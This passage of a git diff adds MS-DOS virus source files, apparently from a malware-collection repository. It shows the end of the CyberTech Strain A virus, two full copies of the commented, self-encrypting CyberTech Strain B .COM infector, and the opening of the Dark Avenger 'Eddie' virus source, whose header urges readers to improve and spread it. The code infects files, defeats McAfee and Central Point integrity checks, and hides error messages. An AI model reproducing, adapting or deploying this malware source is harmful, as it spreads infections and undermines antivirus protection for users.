+ Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. McAfee' + Db 13,10,'could scan Strain A, but after switching 2 instructions' + Db 13,10,'it is hidden again. I suggest McAfee isn''t the best' + Db 13,10,'scanner. I''m deeply disappointed!' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain A-2' + Db 13,10,'(C) 1993 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.cybtchb2.a86 b/MSDOS/Virus.MSDOS.Unknown.cybtchb2.a86 new file mode 100644 index 00000000..70c57c20 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybtchb2.a86 @@ -0,0 +1,500 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1993 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activates. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Di,Crypt[BP] ; Decrypt the virus with a + Mov Si,Di ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'Previous year you was infected by me, but now I am' + Db 13,10,'gone. Message to McAfee : do not group viruses, it is' + Db 13,10,'confusing, better use CARO standards for every virus.' + Db 13,10,'Also improve your scanner, so that I cannot simply switch' + Db 13,10,'2 lines of code in my decryptor and it is hidden again.' + Db 13,10,'Can virus scan strains be copyrighted, so that every' + Db 13,10,'scanner needs a seperate strain?',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B-2' + Db 13,10,'(C) 1993 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.cybtchb2.asm b/MSDOS/Virus.MSDOS.Unknown.cybtchb2.asm new file mode 100644 index 00000000..70c57c20 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybtchb2.asm @@ -0,0 +1,500 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1993 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activates. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Di,Crypt[BP] ; Decrypt the virus with a + Mov Si,Di ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'Previous year you was infected by me, but now I am' + Db 13,10,'gone. Message to McAfee : do not group viruses, it is' + Db 13,10,'confusing, better use CARO standards for every virus.' + Db 13,10,'Also improve your scanner, so that I cannot simply switch' + Db 13,10,'2 lines of code in my decryptor and it is hidden again.' + Db 13,10,'Can virus scan strains be copyrighted, so that every' + Db 13,10,'scanner needs a seperate strain?',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B-2' + Db 13,10,'(C) 1993 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.d-aveng.asm b/MSDOS/Virus.MSDOS.Unknown.d-aveng.asm new file mode 100644 index 00000000..bb63e5b3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.d-aveng.asm @@ -0,0 +1,982 @@ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly troughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the aniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one, who intentionaly distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM-file cannot be run. For that purpose you have to create a three-byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warrant is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populazer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr 